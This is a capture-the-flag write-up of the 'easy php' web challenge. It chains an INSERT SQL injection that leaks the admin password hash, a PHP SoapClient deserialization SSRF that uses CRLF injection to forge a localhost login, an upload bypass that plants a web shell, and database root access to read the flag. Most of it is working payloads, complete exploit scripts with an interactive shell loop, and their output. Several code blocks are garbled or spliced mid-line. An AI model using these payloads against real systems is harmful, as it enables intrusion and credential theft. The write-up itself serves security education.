## easy php (Web, 540pt)
> Not racing, just enjoying the slow pace of life :)> > http://47.97.221.96> > Mirror: http://47.97.221.96:23333/>> [Dockerfile](a35ad7b6-56df-4cfc-bcba-089b83a8544b.Dockerfile)
![](site.png)
This was one of the toughest challenges I've ever worked on a CTF and it required the exploitation of several bugs in order to reach the flag, so let's start with an overview.
* Arbitrary file disclosure through backup files (`~`) and LFI* INSERT SQLi in publish functionality to exfiltrate admin credentials through un/serialized PHP object* SSRF (CRLF injection) through unsafe object deserialization to "bypass" `$_SERVER['REMOTE_ADDR'] === '127.0.0.1'` condition and get authenticated admin session* File upload filtering bypass using PHP `~`+=,.;:/?|';    $password = '';    for ( $i = 0; $i < $length; $i++ )    {        $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];    }    return $password;}```
We can simply precalculate all MD5 hashes (`92**3 == 778688`) and save them to a file which we can later use to solve all captchas.
```pythonimport hashlibfrom itertools import product
c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'captchas = [''.join(i) for i in product(c, repeat=3)]
print '[+] Genering {} captchas...'.format(len(captchas))with open('captchas.txt', 'w') as f:    for k in captchas:        f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')```
#### Getting admin credentials
Now that we have a user account let's go to the more serious staff. The application actually exposes two main functionalities to authenticated non-admin users.
**Publish:**
```POST /index.php?action=publish HTTP/1.1Host: 47.97.221.96:23333Content-Type: application/x-www-form-urlencodedContent-Length: 20Connection: close
signature=XXX&mood=0```
**Allow sign in from different IP:**
```POST /index.php?action=profile HTTP/1.1Host: 47.97.221.96:23333Content-Type: application/x-www-form-urlencodedContent-Length: 6Connection: close
adio=1```
Code review reveals that the `signature` parameter in publish requests is vulnerable to INSERT SQLi.
```phpfunction publish(){    //..    $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));    $db = new Db();    @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));    //..}```
The corresponding functions from config.php are given below.
```phpprivate function get_column($columns){    if(is_array($columns))        $column = ' `'.implode('`,`',$columns).'` ';    else        $column = ' `'.$columns.'` ';    return $column;}
public function insert($columns,$table,$values){    $column = $this->get_column($columns);    $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';    $nid =    $sql = 'insert into '.$table.'('.$column.') values '.$value;    $result = $this->conn->query($sql);    return $result;}```
We can use a common SQLi payload for insert statements but in order to cope with the `preg_replace`, we must use backticks (`` ` ``) in place of single quotes (`'`). So, sending the following payload:
```mood=0&signature=a`, `mood`); -- -```
will result in the following MySQL query:
```insert into ctf_user_signature( `userid`,`username`,`signature`,`mood` )values ( '1','foo','a', 'mood'); -- -`,'0' )```
Next step, is to extract data. In the index view we see that the `showmess()` function is used retrieve data from the `ctf_user_signature` table and present them to us. So, this a good place to look at what we should inject. The relevant code is given below.
```phpfunction showmess(){    //..    $db = new Db();    @$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");    if($ret) {        $data = array();        while ($row = $ret->fetch_row()) {            $sig = $row[1];            $mood = unserialize($row[2]);            $country = $mood->getcountry();            $ip = $mood->ip;            $subtime = $mood->getsubtime();            $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);            array_push($data, $allmess);        }        $data = json_encode(array('code'=>0,'data'=>$data));        return $data;    }    //..}```
So, the mood must be a valid serialized `Mood` object in order to avoid PHP throwing fatal errors upon deserialization and being able to exfiltrate admin's password. We must also take into account that the `addslahes()` function must be applied to the serialized object we inject. Below, a serialized `Mood` is given.
```O:4:"Mood":3:{    s:4:"mood";i:0;    s:2:"ip";s:9:"127.0.0.1";    s:4:"date";i:1520664478;}```
I decided to use the `mood` parameter to extract data one byte at a time since it is an integer and it doesn't require a length to be specified in the object; thus it will be useful to extract any data we may need. We could definitely find other ways to extract data, also taking into account that the given endpoint seemed to be JSON injectable! :P
```http://ip.taobao.com/service/getIpInfo.php?ip=x%22,%22country%22,%22pwn%22}}//```
But anyway, let's ignore that. We have constructed our final injection payload as given below.
```a`, (select concat(`O:4:\"Mood\":3:{s:4:\"mood\";i:`,ord(substr(password,1,1)),`;s:2:\"ip\";s:9:\"127.0.0.1\";s:4:\"date\";i:1520664478;}`) from ctf_users where is_admin=1 limit 1)); -- -```
After our injection is inserted into the database, we can extract the `mood` bytes from the image filenames at index view. The solution is automated in the [solve_sqli.py](solve_sqli.py) script.
```❯❯❯ python solve_sqli.py[+] register(o3yipuuktb, ekmhxqhd13)[+] login(o3yipuuktb, ekmhxqhd13)[+] user session => que3r92vlqdsso9f6r81djvn51[+] admin hash => 2533f492a796a3227b0c6f91d102cc36```
The MD5 could not be cracked with either rockyou or any well-known online service but during the CTF admins provided an endpoint which could be used to "crack" the hash.
```❯❯❯ curl http://47.52.137.90:20000/getmd5.php?md5=2533f492a796a3227b0c6f91d102cc36nu1ladmin```
And we have admin credentials.
```admin:nu1ladmin```
#### SSRF through unsafe object deserialization
Having acquired admin credentials, we try to login but we receive the message `You can only login at the usual address`. Looking into the relevant code, it seems that the administrator entry in the `ctf_users` table disallows logins from different IPs and the only IP address allowed is `127.0.0.1`.
```phpfunction login(){    //...    $user = $ret->fetch_row();    if($user) {        if ($user[4] == '0' && $user[2] !== get_ip())            die("You can only login at the usual address");        //...    }    //...}```
During login, our IP address is obtained using the `get_ip()` function (as defined in config.php), and unfortunately there is no way to bypass it using HTTP request headers.
```phpfunction get_ip(){    return $_SERVER['REMOTE_ADDR'];}```
At the time I reached that point, the challenge had still 0 solves so I started thinking that we may need to find a way to spoof `REMOTE_ADDR`, so I spent several hours reading the relevant code in the PHP source. Of course, I had no luck with it! Taking into account the hints released by the challenge author, we were pointed towards finding a non-obivous SSRF to access the admin account.
After spending many hours stuck at this point, we started thinking that we have complete control over the object being deserialized and this is absolutely alarming. However, there are no _magic methods_ defined in the `Mood` class and our IP was always retrieved dynamically. As such, we thought that we may be able to use another PHP object that will somehow benefit us. Looking at the `showmess()` function where objects get deserialized, we have the following.
```phpfunction showmess(){    //...    $db = new Db();    @$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");    if($ret) {        $data = array();        while ($row = $ret->fetch_row()) {            $sig = $row[1];            $mood = unserialize($row[2]);            $country = $mood->getcountry();            $ip = $mood->ip;            $subtime = $mood->getsubtime();            $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);            array_push($data, $allmess);        }        $data = json_encode(array('code'=>0,'data'=>$data));        return $data;    }    else        return false;    //...}```
After deserialization, we see the function `getcountry()` called on the object. Initial thought was to enumerate all PHP objects that define a `getcountry()` method and see if there are any vulnerabilities we could exploit there. Unfortunately, there are no such classes. So, looking the other way around, it seems that there is a _magic method_ triggered upon calls to undefined methods. As we read in the [PHP documentation](https://secure.php.net/manual/en/language.oop5.overloading.php#object.call), this is the `__call()` method.
> `__call()` is triggered when invoking inaccessible methods in an object context.
The following code was used to enumerate all PHP classes that define the `__call()` method.
```php
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1:8080/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>```
Initially, only the `uri` parameter was chosen to craft our exploit. So, our test code is modified as shown below to see where the injection takes place in the HTTP request.
```php "http://127.0.0.1:8080/\x0d\x0aURI_INJECTION",    'location' => 'http://127.0.0.1:8080/');// Set the first parameter of SoapClient to null,// in order to run in non-WSDL mode.$soap = new SoapClient(null, $p);$serial_soap = serialize($soap);$unserial_soap = unserialize($serial_soap);$unserial_soap->getcountry();```
The CRLF injection has been reflected in the request.
```POST / HTTP/1.1Host: 127.0.0.1:8080Connection: Keep-AliveUser-Agent: PHP-SOAP/7.1.12Content-Type: text/xml; charset=utf-8SOAPAction: "http://127.0.0.1:8080/URI_INJECTION#getcountry"Content-Length: 407
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1:8080/URI_INJECTION" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>```
We must adapt our payload to meet the following requirements:
1. The `Content-Type` must be set to `application/x-www-form-urlencoded`2. The `Content-Length` must be set to the length of the data we want to POST3. The requests must include our POST data4. The default SOAP envelope and remaining HTTP request headers must be somehow ignored and not affect the login request
The approach we followed to match all requirements was to craft 3 separate requests with the one in the middle (the only one we will completely control) being the login request. The _trick_ here is to terminate the first request using the `Content-Length: 0` request header, which will terminate it and allow the second request to be read separately. The last request will be used to discard all unwanted data, such as the remaining HTTP headers and the SOAP envelope.
The SSRF payload up to this point, looks like this:
```http://127.0.0.1/Content-Length:0
POST /index.php?action=login HTTP/1.1Host: 127.0.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 42
username=admin&password=nu1ladmin&code=XXX
POST /foo```
But there are still 2 problems we must overcome:
1. How do we get any response back from the server?2. How do we solve the captcha through the SSRF?
Fortunately, there is a simple solution that will address both issues. We can pre-generate a session from our browser, solve the captcha locally, and send the `PHPSESSID` cookie alongside the request as well as the solution to the capctha (solution to the captcha is tied to our session). If the SSRF succeeds, the `PHPSESSID` will be an admin authenticated session.
The following code has been used to generate the serialized object that will trigger our SSRF.
```php "http://127.0.0.1/\x0d\x0aContent-Length: 0\x0d\x0a\x0d\x0a\x0d\x0aPOST /login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID=XXX\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 42\x0d\x0a\x0d\x0ausername=admin&password=nu1ladmin&code=XXX\x0d\x0a\x0d\x0aPOST /foo",    'location' => 'http://127.0.0.1/');$soap = new SoapClient(null, $p);$serial_soap = serialize($soap);var_dump($serial_soap);```
And this is the final payload sent to the server.
```POST /index.php?action=publish HTTP/1.1Host: 47.97.221.96:23333Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.18.1Cookie: PHPSESSID=rfiaqul0ek01lgvsbgg1pls252Content-Length: 889Content-Type: application/x-www-form-urlencoded
mood=0&signature=a%60%2C+0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a3237313a22687474703a2f2f3132372e302e302e312f0d0a436f6e74656e742d4c656e6774683a300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d343272726d313632766d3266387372756a626b697669357538370d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a2034320d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d4928290d0a0d0a504f5354202f666f6f0d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31333a225f736f61705f76657273696f6e223b693a313b7d%29%3B+--+```
![](site-admin.png)
#### Getting RCE through unsafe file upload
Admin accounts have access to upload functionality, which we must obviously target to get RCE on the server. The related functions are given below.
```php// index.phpfunction publish(){    //..    if(isset($_FILES['pic'])) {        if (upload($_FILES['pic'])){            echo 'upload ok!';            return true;        }        else {            echo "upload file error";            return false;        }    }    //..}```
```php// config.phpfunction upload($file){    $file_size  = $file['size'];    if($file_size>2*1024*1024) {        echo "pic is too big!";        return false;    }    $file_type = $file['type'];    if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {        echo "file type invalid";        return false;    }    if(is_uploaded_file($file['tmp_name'])) {        $uploaded_file = $file['tmp_name'];        $user_path =  "/app/adminpic";        if (!file_exists($user_path)) {            mkdir($user_path);        }        $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);        $file_true_name = str_replace('/','',$file_true_name);        $file_true_name = str_replace('\\','',$file_true_name);        $file_true_name = $file_true_name.time().rand(1,100).'.jpg';        $move_to_file = $user_path."/".$file_true_name;        if(move_uploaded_file($uploaded_file,$move_to_file)) {            if(stripos(file_get_contents($move_to_file),'=0)                system('sh /home/nu1lctf/clean_danger.sh');            return $file_true_name;        }        else            return false;    }    else        return false;}```
This is what happens on file uploads:
* All uploaded files must be < 2MB* Mime-type must be either `image/jpeg` or `image/pjpeg` (easy to spoof)* Files are uploaded in `adminpic/` folder with the name `$file_true_name.time().rand(1,100).'.jpg'`* **After a file has been uploaded**, it will be removed if it has ` Off => Off```
As we read in the [PHP documentation](https://secure.php.net/manual/en/ini.core.php#ini.short-open-tag):
> Since PHP 5.4.0, `=0)`) is **broken** (to our bad) and will always evaluate to `true` irregardless of the content we upload.
```❯❯❯ php -r "var_dump(stripos('no_tag_here', '= 0);'bool(true)```
```(╯°□°）╯︵ ┻━┻```
However, for some reason (that I really don't understand) that didn't work on the application. Even though it will always evaluate to `true`, our shell was not removed from the server if the ` ' + sess.cookies.get_dict()['PHPSESSID']
print '[+] getting fresh session to be authenticated as admin'phpsessid, code = get_admin_session()
ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 42\x0d\x0a\x0d\x0ausername=admin&password=nu1ladmin&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))
payload = 'a`, {}); -- -'.format(mood)
print '[+] final sqli/ssrf payload: ' + payload
print '[+] injecting payload through sqli'resp = publish(payload, '0')
print '[+] triggering object deserialization -> ssrf'sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})
print '[+] admin session => ' + phpsessid
# switching to admin sessionsess = requests.Session()sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})
print '[+] uploading stager'shell = {'pic': ('kkk.jpg', '");?>', 'image/jpeg')}resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})prc_now = get_prc_now()[:-1]  # get epoch immediately
if 'upload ok' not in resp.text:    print '[-] failed to upload shell, check admin session manually'    sys.exit(0)
print '[+] bruteforcing uploaded file...'stager = brute_filename('kkk', prc_now, phpsessid)
if not stager:    print '[-] cannot find uploaded file, try again :('    sys.exit(0)
print '[+] stager => {}../adminpic/{}'.format(_action, stager)resp = sess.get(_action+'../adminpic/'+stager)
shell = _target+'wshell.php'print '[+] shell => {}\n'.format(shell)
while True:    cmd = raw_input('$ ').strip()    if cmd == 'exit' or cmd == 'quit':        break    resp = requests.get('{}?0={}'.format(shell, cmd))    print resp.text```
```❯❯❯ python solve_ssrf_rce.py[+] creating user session to trigger ssrf[+] register(sttozcf7wn, u4t6s3m5ym)[+] login(sttozcf7wn, u4t6s3m5ym)[+] user session => 0tn8db2fpp79rj68cdbq6thi13[+] getting fresh session to be authenticated as admin[+] final sqli/ssrf payload: a`, 0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a3237313a22687474703a2f2f3132372e302e302e312f0d0a436f6e74656e742d4c656e6774683a300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d343272726d313632766d3266387372756a626b697669357538370d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a2034320d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d4928290d0a0d0a504f5354202f666f6f0d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31333a225f736f61705f76657273696f6e223b693a313b7d); -- -[+] injecting payload through sqli[+] triggering object deserialization -> ssrf[+] admin session => ls62913aenuq4vvqcoftkb03o4[+] uploading stager[+] bruteforcing uploaded file...[+] stager => http://47.97.221.96:23333/index.php?action=../adminpic/kkk152075889095.jpg[+] shell => http://47.97.221.96:23333/wshell.php
$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)```
And up to that point we realized that the challenge author wants to ruin our lives! The flag was not stored anywhere in the filesystem. Doing some more enumeration we recall that we have 2 sets of credentials for the database, including `root`.
```$ printf 'TnUxTGN0ZiUjfjpw' | base64 -d > dbpass.txt$ mysql -uroot -p$(cat dbpass.txt) -e "use flag; select flag from flag"flagN1CTF{php_unserialize_ssrf_crlf_injection_is_easy:p}```
## References
* https://www.slideshare.net/MailRuGroup/security-meetup-22-php-unserialize-exploiting* https://www.ptsecurity.com/upload/iblock/dac/daca495893852753dac1d0b17f51df19.pdf* https://www.youtube.com/watch?v=5AdVQzUB6iM* http://lab.truel.it/php-object-injection-the-dirty-way/